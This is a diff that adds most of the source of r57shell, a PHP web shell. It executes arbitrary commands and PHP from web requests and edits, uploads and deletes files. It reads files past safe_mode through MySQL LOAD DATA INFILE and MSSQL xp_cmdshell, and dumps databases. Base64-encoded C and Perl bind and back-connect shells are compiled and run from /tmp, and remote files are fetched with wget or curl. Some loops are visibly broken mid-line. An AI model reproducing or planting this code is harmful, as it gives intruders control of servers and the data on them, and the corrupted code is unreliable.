+echo "";
+return null;
+}
+function ce($i)
+{
+if($GLOBALS['language']=="ru"){ $text = "?? ??????? ??????? "; }
+else { $text = "Can't create "; }
+echo "";
+return null;
+}
+function perms($mode)
+{
+if ($GLOBALS['windows']) return 0;
+if( $mode & 0x1000 ) { $type='p'; }
+else if( $mode & 0x2000 ) { $type='c'; }
+else if( $mode & 0x4000 ) { $type='d'; }
+else if( $mode & 0x6000 ) { $type='b'; }
+else if( $mode & 0x8000 ) { $type='-'; }
+else if( $mode & 0xA000 ) { $type='l'; }
+else if( $mode & 0xC000 ) { $type='s'; }
+else $type='u';
+$owner["read"] = ($mode & 00400) ? 'r' : '-';
+$owner["write"] = ($mode & 00200) ? 'w' : '-';
+$owner["execute"] = ($mode & 00100) ? 'x' : '-';
+$group["read"] = ($mode & 00040) ? 'r' : '-';
+$group["write"] = ($mode & 00020) ? 'w' : '-';
+$group["execute"] = ($mode & 00010) ? 'x' : '-';
+$world["read"] = ($mode & 00004) ? 'r' : '-';
+$world["write"] = ($mode & 00002) ? 'w' : '-';
+$world["execute"] = ($mode & 00001) ? 'x' : '-';
+if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
+if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S';
+if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T';
+$s=sprintf("%1s", $type);
+$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
+$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
+$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
+return trim($s);
+}
+function in($type,$name,$size,$value)
+{
+ $ret = " ";
+ return $ret;
+}
+function which($pr)
+{
+$path = ex("which $pr");
+if(!empty($path)) { return $path; } else { return $pr; }
+}
+function cf($fname,$text)
+{
+ $w_file=@fopen($fname,"w") or we($fname);
+ if($w_file)
+ {
+ @fputs($w_file,@base64_decode($text));
+ @fclose($w_file);
+ }
+}
+function sr($l,$t1,$t2)
+ {
+ return "".$t1." ".$t2." ";
+ }
+if (!@function_exists("view_size"))
+{
+function view_size($size)
+{
+ if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
+ elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
+ elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
+ else {$size = $size . " B";}
+ return $size;
+}
+}
+function DirFiles($dir,$types='')
+ {
+ $files = Array();
+ if(($handle = @opendir($dir)))
+ {
+ while (FALSE !== ($file = @readdir($handle)))
+ {
+ if ($file != "." && $file != "..")
+ {
+ if(!is_dir($dir."/".$file))
+ {
+ if($types)
+ {
+ $pos = @strrpos($file,".");
+ $ext = @substr($file,$pos,@strlen($file)-$pos);
+ if(@in_array($ext,@explode(';',$types)))
+ $files[] = $dir."/".$file;
+ }
+ else
+ $files[] = $dir."/".$file;
+ }
+ }
+ }
+ @closedir($handle);
+ }
+ return $files;
+ }
+ function DirFilesWide($dir)
+ {
+ $files = Array();
+ $dirs = Array();
+ if(($handle = @opendir($dir)))
+ {
+ while (false !== ($file = @readdir($handle)))
+ {
+ if ($file != "." && $file != "..")
+ {
+ if(@is_dir($dir."/".$file))
+ {
+ $file = @strtoupper($file);
+ $dirs[$file] = '<DIR>';
+ }
+ else
+ $files[$file] = @filesize($dir."/".$file);
+ }
+ }
+ @closedir($handle);
+ @ksort($dirs);
+ @ksort($files);
+ $files = @array_merge($dirs,$files);
+ }
+ return $files;
+ }
+ function DirFilesR($dir,$types='')
+ {
+ $files = Array();
+ if(($handle = @opendir($dir)))
+ {
+ while (false !== ($file = @readdir($handle)))
+ {
+ if ($file != "." && $file != "..")
+ {
+ if(@is_dir($dir."/".$file))
+ $files = @array_merge($files,DirFilesR($dir."/".$file,$types));
+ else
+ {
+ $pos = @strrpos($file,".");
+ $ext = @substr($file,$pos,@strlen($file)-$pos);
+ if($types)
+ {
+ if(@in_array($ext,explode(';',$types)))
+ $files[] = $dir."/".$file;
+ }
+ else
+ $files[] = $dir."/".$file;
+ }
+ }
+ }
+ @closedir($handle);
+ }
+ return $files;
+ }
+ function DirPrintHTMLHeaders($dir)
+ {
+ $pockets = '';
+ $handle = @opendir($dir) or die("Can't open directory $dir");
+ echo " \n";
+ while (false !== ($file = @readdir($handle)))
+ {
+ if ($file != "." && $file != "..")
+ {
+ if(@is_dir($dir."/".$file))
+ {
+ echo " [ $file ] \n";
+ DirPrintHTMLHeaders($dir."/".$file);
+ }
+ else
+ {
+ $pos = @strrpos($file,".");
+ $ext = @substr($file,$pos,@strlen($file)-$pos);
+ if(@in_array($ext,array('.htm','.html')))
+ {
+ $header = '-=None=-';
+ $strings = @file($dir."/".$file) or die("Can't open file ".$dir."/".$file);
+ for($a=0;$a(.+))';
+ if(@eregi($pattern,$strings[$a],$pockets))
+ {
+ $header = "«".$pockets[2]."»";
+ break;
+ }
+ }
+ echo " ".$header." \n";
+ }
+ }
+ }
+ }
+ echo " \n";
+ @closedir($handle);
+ }
+
+ class SearchResult
+ {
+ var $text;
+ var $FilesToSearch;
+ var $ResultFiles;
+ var $FilesTotal;
+ var $MatchesCount;
+ var $FileMatschesCount;
+ var $TimeStart;
+ var $TimeTotal;
+ var $titles;
+ function SearchResult($dir,$text,$filter='')
+ {
+ $dirs = @explode(";",$dir);
+ $this->FilesToSearch = Array();
+ for($a=0;$aFilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter));
+ $this->text = $text;
+ $this->FilesTotal = @count($this->FilesToSearch);
+ $this->TimeStart = getmicrotime();
+ $this->MatchesCount = 0;
+ $this->ResultFiles = Array();
+ $this->FileMatchesCount = Array();
+ $this->titles = Array();
+ }
+ function GetFilesTotal() { return $this->FilesTotal; }
+ function GetTitles() { return $this->titles; }
+ function GetTimeTotal() { return $this->TimeTotal; }
+ function GetMatchesCount() { return $this->MatchesCount; }
+ function GetFileMatchesCount() { return $this->FileMatchesCount; }
+ function GetResultFiles() { return $this->ResultFiles; }
+ function SearchText($phrase=0,$case=0) {
+ $qq = @explode(' ',$this->text);
+ $delim = '|';
+ if($phrase)
+ foreach($qq as $k=>$v)
+ $qq[$k] = '\b'.$v.'\b';
+ $words = '('.@implode($delim,$qq).')';
+ $pattern = "/".$words."/";
+ if(!$case)
+ $pattern .= 'i';
+ foreach($this->FilesToSearch as $k=>$filename)
+ {
+ $this->FileMatchesCount[$filename] = 0;
+ $FileStrings = @file($filename) or @next;
+ for($a=0;$a<@count($FileStrings);$a++)
+ {
+ $count = 0;
+ $CurString = $FileStrings[$a];
+ $CurString = @Trim($CurString);
+ $CurString = @strip_tags($CurString);
+ $aa = '';
+ if(($count = @preg_match_all($pattern,$CurString,$aa)))
+ {
+ $CurString = @preg_replace($pattern,"\\1 ",$CurString);
+ $this->ResultFiles[$filename][$a+1] = $CurString;
+ $this->MatchesCount += $count;
+ $this->FileMatchesCount[$filename] += $count;
+ }
+ }
+ }
+ $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4);
+ }
+ }
+ function getmicrotime()
+ {
+ list($usec,$sec) = @explode(" ",@microtime());
+ return ((float)$usec + (float)$sec);
+ }
+$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS
+A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I
+GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt
+b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9
+pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19h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ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2
+hvdGxvZy9jb3VudD9zPTgxNjA2JmltPTEiIGJvcmRlcj0wd2lkdGg9IjEiIGhlaWdodD0iMSIgYWx0PSJIb3RMb2ciPjwvYT48L25vc2NyaXB0Pg==";
+$c2 = "PCEtLUxpdmVJbnRlcm5ldCBjb3VudGVyLS0+PHNjcmlwdCBsYW5ndWFnZT0iSmF2YVNjcmlwdCI+PCEtLQ0KZG9jdW1lbnQud3JpdGUoJzxh
+IGhyZWY9Imh0dHA6Ly93d3cubGl2ZWludGVybmV0LnJ1L2NsaWNrIiAnKw0KJ3RhcmdldD1fYmxhbms+PGltZyBzcmM9Imh0dHA6Ly9jb3VudGVyLnl
+hZHJvLnJ1L2hpdD90NTIuNjtyJysNCmVzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrKCh0eXBlb2Yoc2NyZWVuKT09J3VuZGVmaW5lZCcpPycnOg0KJz
+tzJytzY3JlZW4ud2lkdGgrJyonK3NjcmVlbi5oZWlnaHQrJyonKyhzY3JlZW4uY29sb3JEZXB0aD8NCnNjcmVlbi5jb2xvckRlcHRoOnNjcmVlbi5wa
+XhlbERlcHRoKSkrJzsnK01hdGgucmFuZG9tKCkrDQonIiBhbHQ9ImxpdmVpbnRlcm5ldC5ydTog7+7q4Ofg7e4g9+jx6+4g7/Du8ezu8vDu4iDoIO/u
+8eXy6PLl6+XpIOfgIDI0IPfg8eAiICcrDQonYm9yZGVyPTAgd2lkdGg9MCBoZWlnaHQ9MD48L2E+JykvLy0tPjwvc2NyaXB0PjwhLS0vTGl2ZUludGV
+ybmV0LS0+";
+echo $head;
+echo '';
+if(empty($_POST['cmd'])) {
+$serv = array(127,192,172,10);
+$addr=@explode('.', $_SERVER['SERVER_ADDR']);
+$current_version = str_replace('.','',$version);
+if (!in_array($addr[0], $serv)) {
+@print "";
+@readfile ("");}}
+echo '
+'.ws(1).'
+! '.ws(2).'r57shell '.$version.'
+ ';
+echo ws(2);
+echo "".date ("d-m-Y H:i:s")." ";
+echo ws(2).$lb." phpinfo ".$rb;
+echo ws(2).$lb." php.ini ".$rb;
+echo ws(2).$lb." cpu ".$rb;
+echo ws(2).$lb." mem ".$rb;
+echo ws(2).$lb." tmp ".$rb;
+echo ws(2).$lb." delete ".$rb." ";
+echo ws(2);
+echo (($safe_mode)?("safe_mode: ON "):("safe_mode: OFF "));
+echo ws(2);
+echo "PHP version: ".@phpversion()." ";
+$curl_on = @function_exists('curl_version');
+echo ws(2);
+echo "cURL: ".(($curl_on)?("ON "):("OFF "));
+echo ws(2);
+echo "MySQL: ";
+$mysql_on = @function_exists('mysql_connect');
+if($mysql_on){
+echo "ON "; } else { echo "OFF "; }
+echo ws(2);
+echo "MSSQL: ";
+$mssql_on = @function_exists('mssql_connect');
+if($mssql_on){echo "ON ";}else{echo "OFF ";}
+echo ws(2);
+echo "PostgreSQL: ";
+$pg_on = @function_exists('pg_connect');
+if($pg_on){echo "ON ";}else{echo "OFF ";}
+echo ws(2);
+echo "Oracle: ";
+$ora_on = @function_exists('ocilogon');
+if($ora_on){echo "ON ";}else{echo "OFF ";}
+echo " ".ws(2);
+echo "Disable functions : ";
+if(''==($df=@ini_get('disable_functions'))){echo "NONE ";}else{echo "$df ";}
+$free = @diskfreespace($dir);
+if (!$free) {$free = 0;}
+$all = @disk_total_space($dir);
+if (!$all) {$all = 0;}
+$used = $all-$free;
+$used_percent = @round(100/($all/$free),2);
+echo " ".ws(2)."HDD Free : ".view_size($free)." HDD Total : ".view_size($all)." ";
+echo '
+
+';
+echo $font;
+if(!$windows){
+echo 'uname -a :'.ws(1).' sysctl :'.ws(1).' $OSTYPE :'.ws(1).' Server :'.ws(1).' id :'.ws(1).' pwd :'.ws(1).' ';
+echo " ";
+echo "";
+$uname = ex('uname -a');
+echo((!empty($uname))?(ws(3).@substr($uname,0,120)." "):(ws(3).@substr(@php_uname(),0,120)." "));
+if(!$safe_mode){
+$bsd1 = ex('sysctl -n kern.ostype');
+$bsd2 = ex('sysctl -n kern.osrelease');
+$lin1 = ex('sysctl -n kernel.ostype');
+$lin2 = ex('sysctl -n kernel.osrelease');
+}
+if (!empty($bsd1)&&!empty($bsd2)) { $sysctl = "$bsd1 $bsd2"; }
+else if (!empty($lin1)&&!empty($lin2)) {$sysctl = "$lin1 $lin2"; }
+else { $sysctl = "-"; }
+echo ws(3).$sysctl." ";
+echo ws(3).ex('echo $OSTYPE')." ";
+echo ws(3).@substr($SERVER_SOFTWARE,0,120)." ";
+$id = ex('id');
+echo((!empty($id))?(ws(3).$id." "):(ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()." "));
+echo ws(3).$dir;
+echo " ";
+}
+else
+{
+echo 'OS :'.ws(1).' Server :'.ws(1).' User :'.ws(1).' pwd :'.ws(1).' ';
+echo " ";
+echo "";
+echo ws(3).@substr(@php_uname(),0,120)." ";
+echo ws(3).@substr($SERVER_SOFTWARE,0,120)." ";
+echo ws(3).@get_current_user()." ";
+echo ws(3).$dir." ";
+echo " ";
+}
+echo "";
+echo "
";
+if(empty($c1)||empty($c2)) { die(); }
+$f = ' ';
+$f .= base64_decode($c1);
+$f .= base64_decode($c2);
+if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text")
+{
+$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\'';
+}
+if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_")
+ {
+ switch($_POST['what'])
+ {
+ case 'own':
+ @chown($_POST['param1'],$_POST['param2']);
+ break;
+ case 'grp':
+ @chgrp($_POST['param1'],$_POST['param2']);
+ break;
+ case 'mod':
+ @chmod($_POST['param1'],intval($_POST['param2'], 8));
+ break;
+ }
+ $_POST['cmd']="";
+ }
+if(!empty($_POST['cmd']) && $_POST['cmd']=="mk")
+ {
+ switch($_POST['what'])
+ {
+ case 'file':
+ if($_POST['action'] == "create")
+ {
+ if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { echo ce($_POST['mk_name']); $_POST['cmd']=""; }
+ else {
+ fclose($file);
+ $_POST['e_name'] = $_POST['mk_name'];
+ $_POST['cmd']="edit_file";
+ echo "".$lang[$language.'_text61']."
";
+ }
+ }
+ else if($_POST['action'] == "delete")
+ {
+ if(unlink($_POST['mk_name'])) echo "".$lang[$language.'_text63']."
";
+ $_POST['cmd']="";
+ }
+ break;
+ case 'dir':
+ if($_POST['action'] == "create"){
+ if(mkdir($_POST['mk_name']))
+ {
+ $_POST['cmd']="";
+ echo "".$lang[$language.'_text62']."
";
+ }
+ else { echo ce($_POST['mk_name']); $_POST['cmd']=""; }
+ }
+ else if($_POST['action'] == "delete"){
+ if(rmdir($_POST['mk_name'])) echo "".$lang[$language.'_text64']."
";
+ $_POST['cmd']="";
+ }
+ break;
+ }
+ }
+if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file")
+ {
+ if(!$file=@fopen($_POST['e_name'],"r+")) { $only_read = 1; @fclose($file); }
+ if(!$file=@fopen($_POST['e_name'],"r")) { echo re($_POST['e_name']); $_POST['cmd']=""; }
+ else {
+ echo $table_up3;
+ echo $font;
+ echo "";
+ echo ws(3)."".$_POST['e_name']." ";
+ echo "";
+ echo @htmlspecialchars(@fread($file,@filesize($_POST['e_name'])));
+ fclose($file);
+ echo " ";
+ echo " ";
+ echo " ";
+ echo " ";
+ echo (!empty($only_read)?(" ".$lang[$language.'_text44']):(" "));
+ echo "
";
+ echo "";
+ echo " ";
+ echo "
";
+ exit();
+ }
+ }
+if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file")
+ {
+ if(!$file=@fopen($_POST['e_name'],"w")) { echo we($_POST['e_name']); }
+ else {
+ @fwrite($file,$_POST['e_text']);
+ @fclose($file);
+ $_POST['cmd']="";
+ echo "".$lang[$language.'_text45']."
";
+ }
+ }
+if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C"))
+{
+ cf("/tmp/bd.c",$port_bind_bd_c);
+ $blah = ex("gcc -o /tmp/bd /tmp/bd.c");
+ @unlink("/tmp/bd.c");
+ $blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &");
+ $_POST['cmd']="ps -aux | grep bd";
+}
+if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl"))
+{
+ cf("/tmp/bdpl",$port_bind_bd_pl);
+ $p2=which("perl");
+ if(empty($p2)) $p2="perl";
+ $blah = ex($p2." /tmp/bdpl ".$_POST['port']." &");
+ $_POST['cmd']="ps -aux | grep bdpl";
+}
+if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl"))
+{
+ cf("/tmp/back",$back_connect);
+ $p2=which("perl");
+ if(empty($p2)) $p2="perl";
+ $blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &");
+ $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
+}
+if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C"))
+{
+ cf("/tmp/back.c",$back_connect_c);
+ $blah = ex("gcc -o /tmp/backc /tmp/back.c");
+ @unlink("/tmp/back.c");
+ $blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &");
+ $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
+}
+if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl"))
+{
+ cf("/tmp/dp",$datapipe_pl);
+ $p2=which("perl");
+ if(empty($p2)) $p2="perl";
+ $blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &");
+ $_POST['cmd']="ps -aux | grep dp";
+}
+if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C"))
+{
+ cf("/tmp/dpc.c",$datapipe_c);
+ $blah = ex("gcc -o /tmp/dpc /tmp/dpc.c");
+ @unlink("/tmp/dpc.c");
+ $blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &");
+ $_POST['cmd']="ps -aux | grep dpc";
+}
+if (!empty($_POST['alias'])){ foreach ($aliases as $alias_name=>$alias_cmd) { if ($_POST['alias'] == $alias_name){$_POST['cmd']=$alias_cmd;}}}
+if (!empty($HTTP_POST_FILES['userfile']['name']))
+{
+if(isset($_POST['nf1']) && !empty($_POST['new_name'])) { $nfn = $_POST['new_name']; }
+else { $nfn = $HTTP_POST_FILES['userfile']['name']; }
+@copy($HTTP_POST_FILES['userfile']['tmp_name'],
+ $_POST['dir']."/".$nfn)
+ or print("Error uploading file ".$HTTP_POST_FILES['userfile']['name']."
");
+}
+if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file']))
+{
+ switch($_POST['with'])
+ {
+ case wget:
+ $_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file']."";
+ break;
+ case fetch:
+ $_POST['cmd'] = which('fetch')." -p ".$_POST['rem_file']." -o ".$_POST['loc_file']."";
+ break;
+ case lynx:
+ $_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
+ break;
+ case links:
+ $_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
+ break;
+ case GET:
+ $_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file']."";
+ break;
+ case curl:
+ $_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file']."";
+ break;
+ }
+}
+echo $table_up3;
+if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=($windows)?("dir"):("ls -lia"); }
+else if(empty($_POST['cmd'])&&$safe_mode){ $_POST['cmd']="safe_dir"; }
+echo $font.$lang[$language.'_text1'].": ".$_POST['cmd']." ";
+if($safe_mode)
+{
+ switch($_POST['cmd'])
+ {
+ case 'safe_dir':
+ $d=@dir($dir);
+ if ($d)
+ {
+ while (false!==($file=$d->read()))
+ {
+ if ($file=="." || $file=="..") continue;
+ @clearstatcache();
+ list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
+ if($windows){
+ echo date("d.m.Y H:i",$mtime);
+ if(@is_dir($file)) echo " "; else printf("% 7s ",$size);
+ }
+ else{
+ $owner = @posix_getpwuid($uid);
+ $grgid = @posix_getgrgid($gid);
+ echo $inode." ";
+ echo perms(@fileperms($file));
+ printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
+ echo date("d.m.Y H:i ",$mtime);
+ }
+ echo "$file\n";
+ }
+ $d->close();
+ }
+ else echo $lang[$language._text29];
+ break;
+ case 'safe_file':
+ if(@is_file($_POST['file']))
+ {
+ $file = @file($_POST['file']);
+ if($file)
+ {
+ $c = @sizeof($file);
+ for($i=0;$i<$c;$i++) { echo htmlspecialchars($file[$i]); }
+ }
+ else echo $lang[$language._text29];
+ }
+ else echo $lang[$language._text31];
+ break;
+ case 'test1':
+ $ci = @curl_init("file://".$_POST['test1_file']."");
+ $cf = @curl_exec($ci);
+ echo $cf;
+ break;
+ case 'test2':
+ @include($_POST['test2_file']);
+ break;
+ case 'test3':
+ if(!isset($_POST['test3_port'])||empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; }
+ $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']);
+ if($db)
+ {
+ if(@mysql_select_db($_POST['test3_md'],$db))
+ {
+ $sql = "DROP TABLE IF EXISTS temp_r57_table;";
+ @mysql_query($sql);
+ $sql = "CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL );";
+ @mysql_query($sql);
+ $sql = "LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table;";
+ @mysql_query($sql);
+ $sql = "SELECT * FROM temp_r57_table;";
+ $r = @mysql_query($sql);
+ while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0]); }
+ $sql = "DROP TABLE IF EXISTS temp_r57_table;";
+ @mysql_query($sql);
+ }
+ else echo "[-] ERROR! Can't select database";
+ @mysql_close($db);
+ }
+ else echo "[-] ERROR! Can't connect to mysql server";
+ break;
+ case 'test4':
+ if(!isset($_POST['test4_port'])||empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; }
+ $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']);
+ if($db)
+ {
+ if(@mssql_select_db($_POST['test4_md'],$db))
+ {
+ @mssql_query("drop table r57_temp_table",$db);
+ @mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db);
+ @mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db);
+ $res = mssql_query("select * from r57_temp_table",$db);
+ while(($row=@mssql_fetch_row($res)))
+ {
+ echo $row[0]."\r\n";
+ }
+ @mssql_query("drop table r57_temp_table",$db);
+ }
+ else echo "[-] ERROR! Can't select database";
+ @mssql_close($db);
+ }
+ else echo "[-] ERROR! Can't connect to MSSQL server";
+ break;
+ }
+}
+else if(($_POST['cmd']!="php_eval")&&($_POST['cmd']!="mysql_dump")&&($_POST['cmd']!="db_show")&&($_POST['cmd']!="db_query")){
+ $cmd_rep = ex($_POST['cmd']);
+ if($windows) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; }
+ else { echo @htmlspecialchars($cmd_rep)."\n"; }}
+if ($_POST['cmd']=="php_eval"){
+ $eval = @str_replace("","",$_POST['php_eval']);
+ $eval = @str_replace("?>","",$eval);
+ @eval($eval);}
+if ($_POST['cmd']=="db_show")
+ {
+ switch($_POST['db'])
+ {
+ case 'MySQL':
+ if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; }
+ $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
+ if($db)
+ {
+ $res=@mysql_query("SHOW DATABASES", $db);
+ while(($row=@mysql_fetch_row($res)))
+ {
+ echo "[+] ".$row[0]."\r\n";
+ if(isset($_POST['st'])){
+ $res2 = @mysql_query("SHOW TABLES FROM ".$row[0],$db);
+ while(($row2=@mysql_fetch_row($res2)))
+ {
+ echo " | - ".$row2[0]."\r\n";
+ if(isset($_POST['sc']))
+ {
+ $res3 = @mysql_query("SHOW COLUMNS FROM ".$row[0].".".$row2[0],$db);
+ while(($row3=@mysql_fetch_row($res3))) { echo " | - ".$row3[0]."\r\n"; }
+ }
+ }
+ }
+ }
+ @mysql_close($db);
+ }
+ else echo "[-] ERROR! Can't connect to MySQL server";
+ break;
+ case 'MSSQL':
+ if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; }
+ $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
+ if($db)
+ {
+ $res=@mssql_query("sp_databases", $db);
+ while(($row=@mssql_fetch_row($res)))
+ {
+ echo "[+] ".$row[0]."\r\n";
+ if(isset($_POST['st'])){
+ @mssql_select_db($row[0]);
+ $res2 = @mssql_query("sp_tables",$db);
+ while(($row2=@mssql_fetch_array($res2)))
+ {
+ if($row2['TABLE_TYPE'] == 'TABLE' && $row2['TABLE_NAME'] != 'dtproperties')
+ {
+ echo " | - ".$row2['TABLE_NAME']."\r\n";
+ if(isset($_POST['sc']))
+ {
+ $res3 = @mssql_query("sp_columns ".$row2[2],$db);
+ while(($row3=@mssql_fetch_array($res3))) { echo " | - ".$row3['COLUMN_NAME']."\r\n"; }
+ }
+ }
+ }
+ }
+ }
+ @mssql_close($db);
+ }
+ else echo "[-] ERROR! Can't connect to MSSQL server";
+ break;
+ case 'PostgreSQL':
+ if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; }
+ $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'";
+ $db = @pg_connect($str);
+ if($db)
+ {
+ $res=@pg_query($db,"SELECT datname FROM pg_database WHERE datistemplate='f'");
+ while(($row=@pg_fetch_row($res)))
+ {
+ echo "[+] ".$row[0]."\r\n";
+ }
+ @pg_close($db);
+ }
+ else echo "[-] ERROR! Can't connect to PostgreSQL server";
+ break;
+ }
+ }
+if ($_POST['cmd']=="mysql_dump")
+ {
+ if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); }
+ if((!empty($_POST['dif'])&&$fp)||(empty($_POST['dif']))){
+ $sqh = "# homepage: http://\r\n";
+ $sqh .= "# ---------------------------------\r\n";
+ $sqh .= "# date : ".date ("j F Y g:i")."\r\n";
+ $sqh .= "# database : ".$_POST['mysql_db']."\r\n";
+ $sqh .= "# table : ".$_POST['mysql_tbl']."\r\n";
+ $sqh .= "# ---------------------------------\r\n\r\n";
+ switch($_POST['db']){
+ case 'MySQL':
+ if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; }
+ $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
+ if($db)
+ {
+ if(@mysql_select_db($_POST['mysql_db'],$db))
+ {
+ $sql1 = "# MySQL dump created by r57shell\r\n";
+ $sql1 .= $sqh;
+ $res = @mysql_query("SHOW CREATE TABLE `".$_POST['mysql_tbl']."`", $db);
+ $row = @mysql_fetch_row($res);
+ $sql1 .= $row[1]."\r\n\r\n";
+ $sql1 .= "# ---------------------------------\r\n\r\n";
+ $sql2 = '';
+ $res = @mysql_query("SELECT * FROM `".$_POST['mysql_tbl']."`", $db);
+ if (@mysql_num_rows($res) > 0) {
+ while (($row = @mysql_fetch_assoc($res))) {
+ $keys = @implode("`, `", @array_keys($row));
+ $values = @array_values($row);
+ foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
+ $values = @implode("', '", $values);
+ $sql2 .= "INSERT INTO `".$_POST['mysql_tbl']."` (`".$keys."`) VALUES ('".htmlspecialchars($values)."');\r\n";
+ }
+ $sql2 .= "\r\n# ---------------------------------";
+ }
+ if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); }
+ else { echo $sql1.$sql2; }
+ }
+ else echo "[-] ERROR! Can't select database";
+ @mysql_close($db);
+ }
+ else echo "[-] ERROR! Can't connect to MySQL server";
+ break;
+ case 'MSSQL':
+ if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; }
+ $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
+ if($db)
+ {
+ if(@mssql_select_db($_POST['mysql_db'],$db))
+ {
+ $sql1 = "# MSSQL dump created by r57shell\r\n";
+ $sql1 .= $sqh;
+ $sql2 = '';
+ $res = @mssql_query("SELECT * FROM ".$_POST['mysql_tbl']."", $db);
+ if (@mssql_num_rows($res) > 0) {
+ while (($row = @mssql_fetch_assoc($res))) {
+ $keys = @implode(", ", @array_keys($row));
+ $values = @array_values($row);
+ foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
+ $values = @implode("', '", $values);
+ $sql2 .= "INSERT INTO ".$_POST['mysql_tbl']." (".$keys.") VALUES ('".htmlspecialchars($values)."');\r\n";
+ }
